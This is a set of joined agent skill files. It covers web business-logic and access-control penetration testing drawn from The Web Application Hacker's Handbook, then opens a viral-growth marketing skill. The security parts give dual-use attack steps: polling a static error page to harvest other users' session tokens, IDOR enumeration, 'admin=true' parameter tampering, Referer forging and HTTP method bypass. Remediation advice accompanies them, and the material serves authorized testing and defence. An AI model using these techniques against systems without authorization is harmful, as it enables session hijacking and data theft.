**Violated assumption:** Debug information returned to a user only contains data about that user's own session and request; it is harmless to display because the user already has access to this information.
**Test approach:** Identify any conditions that cause verbose error messages, debug dumps, or diagnostic responses containing user-specific information (session tokens, usernames, request parameters). Determine whether the storage mechanism for this information is session-scoped or stored in a static (application-global) container. If static, poll the error message endpoint repeatedly across time — it will intermittently expose other users' session data.
**Hack steps:**
- Catalog all anomalous conditions that produce verbose error responses containing user-identifying information.
- Test the error message endpoint using two accounts simultaneously. Engineer an error condition for one account, then immediately access the error endpoint from the second account. If both see the same debug data, the storage is static, not session-scoped.
- Poll the error URL repeatedly over a period of time, logging each response. Even without concurrent testing, a static container will eventually expose another user's data if the application has meaningful traffic.
**Impact:** Mass credential harvesting — session tokens, usernames, and user-supplied input (possibly passwords) exposed across the entire user base.
---
#### Pattern 12: Race Condition (Static Variable Login)
**Violated assumption:** The login process, which has been reviewed and tested, is thread-safe; it cannot produce cross-user session assignment.
**Test approach:** Race conditions in authentication arise when a key identifier (user ID, session object) is briefly written to a static (non-session) variable during the login flow. If two login requests execute concurrently, one thread may overwrite the static variable before the other thread reads it, causing the earlier thread's session to be established with the second user's identity. Testing requires generating high volumes of concurrent requests against security-critical functions.
**Hack steps:**
- Target security-critical functions: login mechanisms, password change functions, funds transfer processes.
- For each function under test, identify the minimal request set required to perform the action and the simplest means of confirming the result (e.g., verify that a login resulted in access to the expected account).
- From multiple machines at different network locations, script simultaneous execution of the same action on behalf of multiple different user accounts.
- Run a large number of iterations. Confirm that each action produced the expected result for the expected user. Anomalies indicate a race condition.
- Be prepared for a high volume of false positives from load effects unrelated to thread safety.
**Caution:** Remote black-box race condition testing is a specialized undertaking appropriate only for the most security-critical applications. It generates high request volumes that may resemble a load test.
**Impact:** Complete authentication bypass, cross-user account access, financial fraud.
---
### Phase 3 — Document and Report
**Step 1: Classify each finding by flaw pattern.**
For each confirmed vulnerability, identify which of the 12 patterns it instantiates (or describe a new pattern if none applies). State the violated developer assumption explicitly.
**Step 2: Document reproduction steps.**
Capture the exact HTTP requests needed to reproduce the flaw. For multistage exploits, number each step.
**Step 3: Rate business impact.**
Logic flaws often have severe business impact (payment bypass, account takeover, financial fraud) even when the technical complexity of exploitation is low. Rate impact in business terms, not just technical severity.
**Step 4: Produce remediation recommendations.**
Map each finding to the relevant defensive principle from the Avoiding Logic Flaws section below.
---
## Avoiding Logic Flaws — Defensive Principles
These principles apply to developers building secure applications and to testers verifying that defenses are adequate.
- **Document all assumptions explicitly.** Every assumption a designer makes should appear in design documentation. An outsider reading the document should be able to understand every assumption and why it holds.
- **Comment source code with component purpose, assumptions, and consumer list.** Every code component should state what it assumes about its inputs, what it assumes about the context in which it is called, and which other components depend on it.
- **During design review, enumerate assumptions and imagine violations.** For each assumption, ask: "Is this condition actually within the control of application users?" If yes, it must be enforced server-side, not assumed.
- **During code review, think laterally about unexpected user behavior and component side effects.** Consider how shared components behave when called from unexpected contexts.
- **Drive all identity and privilege decisions from server-side session state.** Never infer role or privilege from parameter presence/absence, HTTP Referer, or other client-controlled signals.
- **Treat user input as user-controlled in every dimension.** Users control parameter names (not just values), request sequence, which parameters they include or omit, and which features they access in which order.
- **Validate numeric input canonicalization before applying business limits.** If negative values are not semantically valid, reject them explicitly before applying threshold checks.
- **Apply discounts only at order finalization, not at add-to-cart time.**
- **Escape the escape character.** Any escaping mechanism must also escape the escape character itself.
- **Compose defenses with awareness of interaction effects.** If two defenses are applied in sequence, reason about what happens when both transform the same input.
- **Use session-scoped (not static) storage for all per-user data.** Any component that writes user-identifying data must write it into the user's session, not a shared static container.
- **When search functions index protected content, enforce authorization at the inference level.** Returning match counts to unauthorized users is equivalent to returning the content.
---
## Examples
### Example 1: E-Commerce Checkout Skip
**Scenario:** Authorized penetration test of an online retail platform.
**Trigger:** Application implements a four-stage checkout: browse, basket review, payment, delivery. Tester has mapped the workflow and confirmed each stage is served from a distinct URL.
**Process:**
1. Complete stages 1 and 2 normally. Capture all HTTP requests.
2. Apply Pattern 3 (Workflow Stage Skip): from stage 2, construct a direct HTTP request to the stage 4 delivery URL, bypassing stage 3 (payment entry).
3. Submit the stage 4 request. Observe whether the application accepts it and generates an order.
4. Check the order management backend to confirm whether a real order was created without payment.
**Output:** Finding: "Checkout Stage Skip — Payment Bypass." Violated assumption: users always access checkout stages in sequence. Business impact: attackers can generate fulfilled orders without paying. Remediation: enforce that payment stage has been completed server-side (session flag set only after successful payment processing) before accepting the delivery stage request.
---
### Example 2: Insurance Application Cross-Stage Parameter Pollution
**Scenario:** Security assessment of a financial services insurance web application with applicant and underwriter roles.
**Trigger:** Application processes a multi-dozen-stage insurance application. Tester notices that the application uses a shared server-side component that updates application state with any name/value pair received in a POST request.
**Process:**
1. Walk through the full applicant flow, capturing all POST parameters at each stage.
2. Walk through the underwriter review flow as a valid underwriter account, capturing all POST parameters — especially the acceptance decision field (e.g., `underwriterDecision=accept`).
3. Apply Pattern 4 (Cross-Stage Parameter Pollution): during the applicant's final submission stage, additionally submit the underwriter acceptance parameter identified in step 2.
4. Observe whether the application's state records the application as accepted without actual underwriter review.
**Output:** Finding: "Cross-Stage Parameter Pollution — Applicant Self-Underwriting." Violated assumption: only underwriters submit underwriter parameters. Business impact: applicants can accept their own insurance applications at arbitrary premium values. Remediation: enforce role-based access control at the parameter level; the server must validate that each parameter is appropriate for the authenticated user's role before updating application state.
---
### Example 3: Debug Message Polling for Session Tokens
**Scenario:** Penetration test of a recently deployed financial services web application that exhibits intermittent errors.
**Trigger:** During normal testing, an error page appears containing the current user's username, session token, and request parameters. The tester notes this is returned as a redirect to a static URL (`/app/error?id=last`).
**Process:**
1. Apply Pattern 11 (Debug Message Harvesting): engineer an error condition from Account A and immediately access `/app/error?id=last` from Account B.
2. Observe whether Account B's browser displays Account A's debug information (confirming static storage).
3. Write a script to poll `/app/error?id=last` every few seconds over a 30-minute window, logging all responses.
4. Review the log for session tokens and usernames belonging to other users.
**Output:** Finding: "Static Debug Storage — Cross-User Session Token Disclosure." Violated assumption: each user sees only their own debug information because they follow the redirect to their own error. Business impact: an attacker who polls the error endpoint over time accumulates session tokens for other users and can hijack those sessions. Remediation: store debug information in session-scoped storage, not a static global container; or disable verbose debug messages in production entirely.
---
## References
- Stuttard, D. & Pinto, M. (2011). *The Web Application Hacker's Handbook*, 2nd ed. Wiley. Chapter 11: "Attacking Application Logic," pp. 405–429.
- OWASP Testing Guide: OTG-BUSLOGIC-001 through OTG-BUSLOGIC-009
- CWE-840: Business Logic Errors
- CWE-841: Improper Enforcement of Behavioral Workflow
- CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition)
- OWASP Top 10 A04:2021: Insecure Design
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Systematically test web application access controls for broken authorization vulnerabilities. Use this skill whenever: performing a penetration test or secur...
---
name: access-control-vulnerability-testing
description: |
Systematically test web application access controls for broken authorization vulnerabilities. Use this skill whenever: performing a penetration test or security assessment of a web application's authorization model; testing for vertical privilege escalation (low-privilege user accessing high-privilege functions); testing for horizontal privilege escalation (user accessing another user's data); auditing multistage workflows for mid-flow authorization bypasses; checking whether protected static files are directly accessible without authorization; testing whether HTTP method substitution (HEAD, arbitrary verbs) bypasses platform-level access rules; probing for insecure access control models based on client-submitted parameters (admin=true), HTTP Referer headers, or IP geolocation; enumerating hidden or unlisted application functionality; reviewing source code or HTTP traffic for missing server-side authorization checks; using Burp Suite's site map comparison feature to compare high-privilege and low-privilege user access; assessing server-side API endpoint authorization. Covers all six WAHH vulnerability categories: completely unprotected functionality, identifier-based access control (IDOR), multistage function bypasses, static file exposure, platform misconfiguration, and insecure client-controlled access models. Maps to OWASP Testing Guide (OTG-AUTHZ-*), CWE-284 (Improper Access Control), CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization), and OWASP Top 10 A01:2021 (Broken Access Control).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/access-control-vulnerability-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [8]
pages: "257-285"
tags: [access-control, authorization, privilege-escalation, idor, broken-access-control, burp-suite, http-methods, platform-misconfiguration, static-files, multistage-process, owasp, penetration-testing, appsec, cwe-284, cwe-285, cwe-639, cwe-862, cwe-863]
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Application source code, route definitions, middleware configuration, or deployment descriptors — primary for white-box review"
- type: document
description: "HTTP traffic captures, Burp Suite proxy logs, or prior application mapping output — primary for black-box testing"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Run inside a project codebase for white-box review, or alongside HTTP traffic logs for black-box assessment. Authorized security testing context required."
discovery:
goal: "Identify all exploitable broken access control vulnerabilities across six vulnerability categories; produce a structured findings report with privilege escalation evidence, CWE mappings, severity ratings, and remediation recommendations"
tasks:
- "Map all authenticated and unauthenticated application surfaces, understanding which roles should access which functions and resources"
- "Test each of the six vulnerability categories using the prescribed multi-account and method-variation workflows"
- "Use Burp Suite site map comparison (high-privilege to low-privilege replay) to automate bulk coverage"
- "Test each multistage workflow step individually for isolated authorization checks"
- "Enumerate hidden functionality through client-side code review and content discovery"
- "Document findings with CWE mapping, privilege escalation impact, and evidence"
- "Produce countermeasures aligned with the centralized authorization model and multilayered privilege framework"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "security-architect", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, web proxies (Burp Suite or equivalent), and basic authentication and authorization concepts"
triggers:
- "Penetration test of a web application's authorization model"
- "Security code review of server-side access control logic"
- "Assessment of a multi-role application (admin, manager, regular user, guest)"
- "Audit of any application that segregates resources by user identity (documents, orders, accounts)"
- "Testing a workflow-driven application (checkout, account creation, approval flows)"
- "Detection of OWASP A01:2021 Broken Access Control findings"
---
# Access Control Vulnerability Testing
## When to Use
Use this skill when you need to determine whether a web application correctly enforces authorization decisions for every user, role, and request type. Access controls are the mechanism by which an application decides whether a given request is permitted to perform an action or access a resource. Broken access controls affect 71% of web applications and enable attackers to take full control of administrative functionality, access other users' sensitive data, or bypass business logic constraints.
This skill applies to authorized penetration tests, security code reviews, and appsec audits. It is not a substitute for legal authorization to test a target application.
---
## Core Concepts
### Three Access Control Categories
**Vertical access control** enforces separation between privilege levels (ordinary user vs. administrator). Vertical privilege escalation occurs when a lower-privilege user successfully accesses higher-privilege functions.
**Horizontal access control** enforces that users can only access their own resources (documents, orders, accounts). Horizontal privilege escalation occurs when a user accesses another user's resources.
**Context-dependent access control** enforces that users access application states only in the prescribed sequence. Business logic exploitation occurs when a user bypasses required workflow steps (for example, skipping the payment stage of a checkout flow).
Horizontal and vertical escalations frequently chain: discovering another user's document identifier may allow modifying that user's security role, converting horizontal access into vertical compromise.
### Six Vulnerability Categories
1. **Completely unprotected functionality** — Sensitive functions accessible to anyone who knows the URL; the only "protection" is UI-level link omission.
2. **Identifier-based functions** (Insecure Direct Object Reference / IDOR) — Authorization based solely on a resource identifier passed as a request parameter, with no server-side ownership check.
3. **Multistage function bypasses** — Authorization checked only at step 1 of a multi-request workflow; later steps assume legitimacy without re-verifying privilege.
4. **Static file exposure** — Protected content served as static files directly accessible by URL, bypassing all application-layer authorization.
5. **Platform misconfiguration** — Access rules defined at the web server or application server layer (URL path + HTTP method) that can be bypassed by substituting an alternative HTTP method or specifying an unrecognized method.
6. **Insecure access control methods** — Authorization decisions driven by client-controllable data: request parameters (`admin=true`), HTTP `Referer` header, or IP-based geolocation.
---
## Process
### Phase 1: Reconnaissance and Access Control Mapping
**Step 1: Understand the authorization model.**
Before probing, answer these questions from application mapping output or source code:
- Does the application segregate users into distinct roles with different functionality?
- Does any functionality give individual users access to a subset of resources of the same type (documents, orders, accounts)?
- Do administrators use the same application instance as regular users?
- Are there identifiers in URLs or POST bodies that signal which resource or function is being targeted?
- Are there parameters that appear to carry privilege flags (`admin`, `role`, `isAdmin`)?
WHY: Access control testing without understanding the intended authorization model produces false positives (expected differences flagged as vulnerabilities) and false negatives (violations that look like normal variance). The authorization model defines what "violation" means.
**Step 2: Identify all application surfaces.**
Using your proxy history and any content discovery output, catalog:
- All URLs and endpoints, noting which require authentication
- All functions that modify state (create, update, delete operations)
- All resource types with per-user ownership semantics
- All multi-step workflows (checkout, account creation, approval chains)
- All static file downloads (PDFs, spreadsheets, binaries)
- All client-side code (JavaScript, decompiled browser extension components) for hidden URLs or admin menu items
WHY: Poorly protected functionality often exists outside the normal navigation paths. JavaScript building role-conditional UI elements frequently references admin URLs that are not linked from ordinary user interfaces.
---
### Phase 2: Multi-Account Testing Workflow
This is the primary methodology. It requires at minimum two accounts: one high-privilege and one low-privilege.
**Step 1: Map the application as the high-privilege user.**
With Burp configured as your proxy (interception disabled), browse all application functionality using the high-privilege account. This builds a complete site map of all accessible endpoints.
WHY: You need to know what the high-privilege account can access before you can test whether the low-privilege account is incorrectly permitted to access it. Starting with the low-privilege account means you may never discover the privileged endpoints to test.
**Step 2: Use Burp's "Compare Site Maps" feature.**
In Burp's Target tab, right-click the site map and select "compare site maps." Configure the second site map to re-request all items from the first site map using the low-privilege session (via a recorded login macro or a specific session cookie). Burp will highlight added, removed, and modified responses between the two maps, including a diff count for modified items.
WHY: Manual comparison of dozens or hundreds of endpoints is error-prone and slow. Automated replay eliminates the mechanical work while preserving human judgment for interpreting results — two identical responses to an admin function indicate a violation; two different responses to a personal profile page are expected and benign.
**Step 3: Interpret comparison results with context.**
Identical responses do not always indicate a vulnerability (a search function returning the same results is harmless). Different responses do not always indicate correct enforcement (an admin function returning different content each visit may still be accessible). Apply judgment for each flagged item.
**Step 4: Test horizontal access control with two same-privilege accounts.**
Identify resources owned by Account A (document IDs, order numbers, account references). From Account B's session, request those same resource identifiers directly — either by URL or by replaying the POST parameters. Access to Account A's resource from Account B's session is a horizontal privilege escalation.
WHY: The Burp site map comparison approach tests vertical access control effectively. Horizontal escalation requires explicit cross-account resource substitution because both accounts see the same set of endpoints.
---
### Phase 3: Testing by Vulnerability Category
#### Category 1: Completely Unprotected Functionality
1. Review all JavaScript in the application for conditional UI construction based on role flags. Extract any admin URLs referenced in conditionally-rendered code.
2. Review HTML comments for references to unlisted endpoints.
3. Request admin/management URLs directly from a low-privilege or unauthenticated session.
4. If the application uses direct access to server-side API methods, test for additional undiscovered methods using similar naming conventions (`getBalance` → `getAllBalances`, `getCurrentUserRoles` → `getAllUserRoles`, `listInterfaces`, `getAllUsersInRoles`).
WHY: Security through obscurity is not access control. URLs appear in browser history, server logs, proxy logs, and bookmarks. URL knowledge cannot be revoked when a user changes roles. Any function reachable by knowing its URL without a server-side authorization check is unprotected, regardless of whether the URL is published.
#### Category 2: Identifier-Based Functions (IDOR)
1. Identify all request parameters that reference resources: document IDs, account numbers, order references, user IDs.
2. Determine whether identifiers are sequential (integers), partially predictable, or cryptographically random (GUIDs).
3. For sequential identifiers: substitute your own identifier with adjacent values or values observed in application logs and error messages.
4. For non-sequential identifiers: test the ones you already possess from your own account activity. Even non-guessable identifiers expose a vulnerability if the server fails to verify ownership.
5. If you can generate multiple identifiers rapidly (by creating documents or orders), analyze the sequence for predictability patterns using session token analysis techniques.
6. If access controls are confirmed broken and identifiers are predictable, document the automated harvest risk.
WHY: Resource identifiers are not secrets. They appear in server logs, are transmitted via clients, and may be observed from within the application itself (logs, audit trails). The server must verify that the requesting user is authorized to access the specific resource identified, regardless of how the identifier was obtained.
#### Category 3: Multistage Function Bypasses
1. Walk through the complete protected workflow as the high-privilege user, noting every HTTP request in sequence (including redirects, form submissions, and parameterless confirmation requests).
2. Re-execute each individual request in the sequence from a low-privilege session. Do not assume that step 3 is protected because step 1 is protected — test each step independently.
3. Use Burp's "request in browser in current browser session" feature to replay each high-privilege request within a low-privilege browser session. Paste the Burp-provided URL into the low-privilege browser and observe whether the action succeeds.
4. Identify any stage where the application passes data validated at an earlier step as a client-side parameter to a later step (hidden fields, query string values). Test whether modifying those parameters at the final stage allows bypassing the earlier validation.
WHY: Developers commonly validate authorization at the entry point of a workflow and assume that any user who reaches later stages must have passed the earlier checks. This assumption is violated whenever an attacker can directly submit a request to a later-stage endpoint. Each step must independently verify that the current session is authorized to perform the action, not just that it reached this step via a valid earlier step.
#### Category 4: Static File Exposure
1. Complete the legitimate process for accessing a protected static resource (purchase, login, privilege grant) and capture the final download URL.
2. Using a different session (low-privilege or unauthenticated), request that URL directly.
3. If direct access succeeds, analyze the URL naming scheme for the full resource set. Sequential or patterned names (ISBNs, sequential IDs) allow bulk enumeration.
WHY: Static files served directly from the web root bypass all application-layer code. No server-side script runs to verify the requester's authorization. The only protection available is web-server-level authentication or serving files indirectly through a dynamic page that implements authorization logic.
#### Category 5: Platform Misconfiguration (HTTP Method Bypass)
1. Using the high-privilege account, identify sensitive state-changing requests (create user, change role, delete record).
2. If the request does not include anti-Cross-Site Request Forgery tokens or similar protections, attempt to re-issue it using alternative HTTP methods: substitute `POST` with `GET`, then `HEAD`, then an arbitrary invalid method (e.g., `JEFF`).
3. If the application honors any alternative method and performs the action, test that method's access controls using a low-privilege account.
WHY: Platform-level access rules (web server or application server configuration) often deny specific HTTP methods but allow others. `HEAD` requests are typically handled by the same code as `GET`, so if `GET` performs a sensitive action, `HEAD` may too. Some platforms route unrecognized HTTP methods to the `GET` handler, allowing arbitrary method names to bypass deny rules that only enumerate specific blocked methods.
#### Category 6: Insecure Access Control Methods
**Parameter-based access control:**
1. As a high-privilege user, observe whether any requests contain parameters indicating privilege level (`admin=true`, `role=admin`, `isManager=1`).
2. As a low-privilege user, add or modify these parameters to claim elevated privilege.
3. Where application pages show different functionality to different roles, try appending privilege parameters to the URL query string and POST body.
**Referer-based access control:**
1. Identify functions you are legitimately authorized to access.
2. Remove or modify the `Referer` header on those requests. If access fails, the application is using `Referer` as an authorization signal.
3. For functions you are not authorized to access, forge a `Referer` value matching the administrative page that would legitimately precede the request.
**Location-based access control:**
1. If the application enforces geographic restrictions, test bypass via a web proxy, VPN, or data-roaming mobile device in the permitted location.
2. Test direct manipulation of any client-side geolocation mechanisms.
WHY: Any access control decision based on data the client can control is fundamentally insecure. Request parameters, `Referer` headers, and IP geolocation are all attacker-controllable. Authorization decisions must be driven exclusively from server-side session state, which the attacker cannot forge.
---
### Phase 4: Testing with Limited Account Access
When only one account is available:
1. Use content discovery techniques to enumerate functionality not linked from the normal interface. Low-privilege browsing is often sufficient to both enumerate and directly access unlisted administrative functionality.
2. Review all client-side HTML and scripts for references to hidden functionality or script-driven UI elements.
3. Decompile any browser extension components to discover references to server-side endpoints.
4. Test for `Referer`-based access control as described above.
5. Probe for parameter-based privilege escalation by appending common privilege parameters to requests.
---
### Phase 5: Documentation
For each confirmed finding, record:
- **Vulnerability category** (from the six-category taxonomy above)
- **CWE identifier** (CWE-862 for missing authorization, CWE-639 for IDOR, CWE-863 for incorrect authorization, CWE-284 for general broken access control)
- **Affected endpoint(s)** with full request detail
- **Proof of exploitation**: what was accessed or performed, from which account, with what evidence (response body, diff count, HTTP status)
- **Privilege escalation type**: vertical, horizontal, or business logic
- **Severity**: consider data sensitivity, actions permitted, and chainability to further compromise
- **Countermeasure** (see Securing Access Controls section)
---
## Securing Access Controls
Use these principles when documenting remediation recommendations or reviewing defensive implementations:
**Avoid the common pitfalls:**
- Do not rely on URL or resource identifier secrecy as a substitute for authorization. Assume every URL and identifier is known to every user.
- Do not trust client-submitted parameters to indicate privilege (`admin=true`). All access control decisions must derive from server-side session state.
- Do not assume that because a user cannot reach page B from page A, they cannot request page B directly.
- Do not transmit validated data via the client between workflow stages without revalidating it on receipt at each stage.
**Implement a centralized authorization model:**
- Document access control requirements for every unit of functionality: who can use it and what resources they can access via it.
- Implement a single central application component responsible for all access control decisions.
- Route every request through this component before any functional code executes.
- Use programmatic enforcement (every page must call the central component) to prevent omissions — make it impossible to ship a page that lacks an authorization check.
**Apply a multilayered privilege model (defense in depth):**
- Application layer: session-driven authorization via a central component.
- Application server layer: URL-path and HTTP-method rules using a default-deny model (deny anything not explicitly permitted).
- Database layer: separate database accounts per user role with least-privilege grants; read-only accounts for read-only operations.
- Operating system layer: application components run under least-privilege OS accounts.
**Protect static content** by either: (a) serving files through a dynamic handler that performs authorization before streaming the file, or (b) using HTTP authentication or application-server access controls to wrap direct file requests.
**For high-sensitivity functions** (bill payee creation, privilege changes): implement per-transaction reauthentication or dual authorization to mitigate both access control bypass and session hijacking impact.
**Log all access to sensitive data and all sensitive actions** to enable detection and investigation of access control breaches.
---
## Examples
### Example 1: Vertical Privilege Escalation via Unprotected Admin URL
**Scenario:** E-commerce platform with separate admin and customer roles. Penetration test with one admin account and one customer account.
**Trigger:** Burp site map comparison shows admin account visited `/admin/users/list` and `/admin/users/new`. Low-privilege replay returns HTTP 200 for both with the same response body as the admin.
**Process:**
1. Browsed application as admin; site map captured all admin endpoints.
2. Configured Burp to re-request the site map using the customer session cookie.
3. Compared site maps: `/admin/users/list` showed diff count 0 (identical responses).
4. Confirmed: customer session receives the full user list including credential data.
5. Tested `/admin/users/new` POST with customer session — new admin account created successfully.
**Output:** Critical finding — CWE-862 (Missing Authorization). Completely unprotected admin functionality. Recommended: central authorization component checks session role before any admin handler executes.
---
### Example 2: Horizontal Privilege Escalation via IDOR
**Scenario:** Document management application. User A and User B both have standard accounts. Authorized test with both accounts.
**Trigger:** After logging in as User A, the document list shows URLs in the form `/ViewDocument.php?docid=1280149120`. Login as User B and browse to User B's own document at `docid=1280149125`.
**Process:**
1. While authenticated as User B, modified `docid` parameter to `1280149120` (User A's document ID).
2. Application returned User A's document in full without any authorization error.
3. Sequentially tested adjacent document IDs; all returned documents belonging to other users.
4. Confirmed identifiers are sequential integers — enumerable with Burp Intruder.
**Output:** High finding — CWE-639 (Authorization Bypass Through User-Controlled Key). Server does not verify that the requesting session owns the referenced document. Recommended: on every document request, verify that the authenticated user's ID matches the document's owner field before returning content.
---
### Example 3: Multistage Bypass and HTTP Method Substitution
**Scenario:** SaaS application with an "Add User" admin workflow (3 steps: choose role, enter details, confirm). Single admin account available; one regular-user account.
**Trigger:** Application mapping reveals the workflow spans three POST requests: `/admin/newuser/step1`, `/admin/newuser/step2`, `/admin/newuser/step3`. Step 1 returns 403 for the regular-user session. Steps 2 and 3 have not been tested independently.
**Process:**
1. As admin, walked through the complete workflow; captured all three POST requests in Burp.
2. Using Burp "request in browser in current browser session," replayed step 2 and step 3 requests inside the regular-user browser session.
3. Step 2 returned the details form with HTTP 200. Step 3 accepted the submission and confirmed user creation.
4. Confirmed that only step 1 checks authorization; steps 2 and 3 assume legitimacy.
5. Additionally tested step 3 with HTTP method changed from POST to HEAD — server executed the creation action (inferred from subsequent user list check) while returning no response body.
**Output:** Critical finding — CWE-285 (Improper Authorization) on steps 2 and 3; CWE-284 on HTTP method bypass. Recommended: each step independently verifies the session role; platform rules use default-deny for all HTTP methods except those explicitly permitted for each endpoint.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Design and measure viral growth loops using the viral coefficient (K-factor), viral loop type taxonomy, and cycle time optimization. Use whenever a startup f...
---
name: viral-growth-loop-design
description: "Design and measure viral growth loops using the viral coefficient (K-factor), viral loop type taxonomy, and cycle time optimization. Use whenever a startup founder, growth marketer, or product lead is designing referral programs, measuring word-of-mouth, building viral features, calculating K-factor, trying to achieve exponential growth, optimizing invite flows, debugging a viral feature that isn't working, or evaluating whether viral is the right channel. Activates on phrases like 'viral marketing', 'viral coefficient', 'K-factor', 'referral program', 'invite flow', 'network effects', 'word of mouth', 'exponential growth', 'viral loop', 'Dropbox referral', 'Hotmail signature', 'inherent virality', 'cycle time', 'should we go viral'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/viral-growth-loop-design
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [7]
domain: startup-growth
tags: [startup-growth, viral-marketing, referral-programs, network-effects, growth-metrics]
depends-on: [bullseye-channel-selection]
execution:
tier: 2
mode: hybrid
inputs:
- type: document
description: "Product description, current viral metrics if any, referral mechanics"
tools-required: [Read, Write]
tools-optional: [Bash, AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for viral loop designs and K-factor calculations"
discovery:
goal: "Design or optimize a viral loop using the K-factor formula, loop type taxonomy, and cycle time tactics"
tasks:
- "Classify the product's best-fit viral loop type (7 types)"
- "Measure or estimate the viral coefficient K = i × conversion%"
- "Decompose K into invite rate, click-through rate, signup rate — find the bottleneck"
- "Optimize the weakest variable via focused A/B testing"
- "Shorten the viral cycle time"
- "Detect and prevent the 4 viral mistakes"
audience:
roles: [startup-founder, growth-marketer, product-manager]
experience: intermediate
when_to_use:
triggers:
- "User wants to add viral mechanics to a product"
- "User has a viral feature that isn't producing growth"
- "User is measuring referral program performance"
- "Bullseye Framework selected viral as an inner-circle channel"
prerequisites:
- skill: bullseye-channel-selection
why: "Viral should be selected via Bullseye first, not default-assumed"
not_for:
- "Products without inherent sharing value (viral will not rescue a bad product)"
environment:
codebase_required: false
codebase_helpful: true
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 13
iterations_needed: 0
---
# Viral Growth Loop Design
## When to Use
The startup has selected viral marketing as a channel (via Bullseye) and needs to design, measure, or optimize a viral growth loop. Before starting, verify:
- The product has at least plausible sharing value (products that aren't inherently viral will not be rescued by viral mechanics — this is viral mistake #1)
- The user has metrics or can instrument metrics for invites and conversions
- Viral was genuinely selected, not defaulted to because "growth hacking"
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product description:** what the product does, who uses it, what makes it share-worthy (or why not)
→ Check prompt for: product name, category, sharing signals
→ If missing, ask: "What does your product do, and why would one user tell another about it?"
- **Current metrics (if any):** signups per period, invites sent, invite-to-signup conversion
→ Check prompt for: numbers, "our K is", "conversion rate"
→ If missing: proceed with hypothetical design, note measurement needs
### Observable Context
- **Existing viral features:** referral program, share buttons, invite flows
- **Product communication patterns:** how users already talk to others about the product
### Default Assumptions
- K > 1 = exponential, K > 0.5 = meaningful contribution, K < 0.5 = not a primary channel
- Optimization focus on the single weakest variable (invite rate OR click-through OR signup)
- 1-2 engineers × 2-3 months minimum to implement viral properly
### Sufficiency Threshold
```
SUFFICIENT: product description + current K measurement or instrumentation plan
PROCEED WITH DEFAULTS: product description known, assume viral is being designed from scratch
MUST ASK: product description is missing, can't recommend loop type
```
## Process
Use TodoWrite:
- [ ] Step 1: Classify viral loop type (7 types)
- [ ] Step 2: Measure baseline K and cycle time
- [ ] Step 3: Decompose K to find the weakest variable
- [ ] Step 4: Design focused optimization (4 viral mistakes check)
- [ ] Step 5: Shorten cycle time
### Step 1: Classify the Viral Loop Type
**ACTION:** Determine which of the 7 viral loop types best fits the product. See [references/viral-loop-types.md](references/viral-loop-types.md) for the full taxonomy.
The 7 types:
1. **Word of Mouth** — organic (nothing engineered). Works when the product is genuinely remarkable.
2. **Inherent Virality** — product requires multiple users (Skype, WhatsApp, Snapchat).
3. **Collaborative Virality** — works alone but better with others (Google Docs, Figma).
4. **Communicative Virality** — product messages carry branding ("Sent from my iPhone", Hotmail signature).
5. **Incentivized Virality** — rewards for referrals (Dropbox extra storage, Uber credits, PayPal cash).
6. **Embedded/Widget Virality** — share buttons, embed codes (YouTube embed, Pinterest pins).
7. **Social Virality** — activity broadcast to social networks (Spotify on Facebook, Strava sharing).
Write the type classification with reasoning to `viral-loop-design.md`.
**WHY:** Loop type determines every downstream decision. An incentivized referral program that would work for a file-storage product would feel spammy on a B2B analytics tool. Getting type wrong is one of the 4 viral mistakes — "bolting on generic sharing mechanics without understanding how users are currently communicating". The type must match the product's actual usage pattern.
**IF** no type fits cleanly → that's a signal viral may not be the right channel. Return to Bullseye with new data.
### Step 2: Measure or Estimate Baseline K and Cycle Time
**ACTION:** Calculate the viral coefficient:
**K = i × conversion_percentage**
- **i** = average number of invites per user (how many people each user invites)
- **conversion_percentage** = percentage of invitees who sign up
Worked example: users send 3 invites each, 2 of 3 invitees convert → K = 3 × (2/3) = 2. Starting with 100 users, next cycle produces 200, next 400, etc. Exponential.
**Thresholds:**
- K > 1: true exponential growth
- K > 0.5: meaningful contribution to growth
- K < 0.5: viral is not a primary channel
Also measure **viral cycle time** — the time between a user joining and their invitees joining. Shorter cycle time = faster compounding. YouTube's cycle time is minutes; slower products can be days or weeks.
Write measurements (or measurement plan if not yet instrumented) to `viral-baseline.md`.
